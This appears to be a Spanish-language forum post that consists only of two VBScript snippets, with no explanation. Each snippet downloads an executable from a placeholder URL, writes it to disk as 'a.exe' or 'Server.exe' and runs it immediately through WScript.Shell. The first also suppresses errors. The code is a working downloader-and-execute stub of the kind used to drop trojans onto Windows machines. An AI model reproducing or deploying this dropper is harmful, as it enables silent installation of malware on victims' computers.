Código: Seleccionar todo
strFileURL = "URL"
strHDLocation = "c:\a\a.exe"
Set objXMLHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
objXMLHTTP.Open "GET", strFileURL, False
objXMLHTTP.send
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = CreateObject("Scripting.FileSystemObject")
on error resume next
objFSO.CreateFolder "C:\a"
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Run Chr(34) & strHDLocation & Chr(34), 1, false
Código: Seleccionar todo
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP") objHTTP.Open "GET", "URL", False objHTTP.Send If objHTTP.Status = 200 Then Set objStream = CreateObject("ADODB.Stream") objStream.Open objStream.Type = 1 objStream.Write objHTTP.ResponseBody objStream.SaveToFile "Server.exe", 2 objStream.Close CreateObject("Wscript.Shell").Run "Server.exe" End If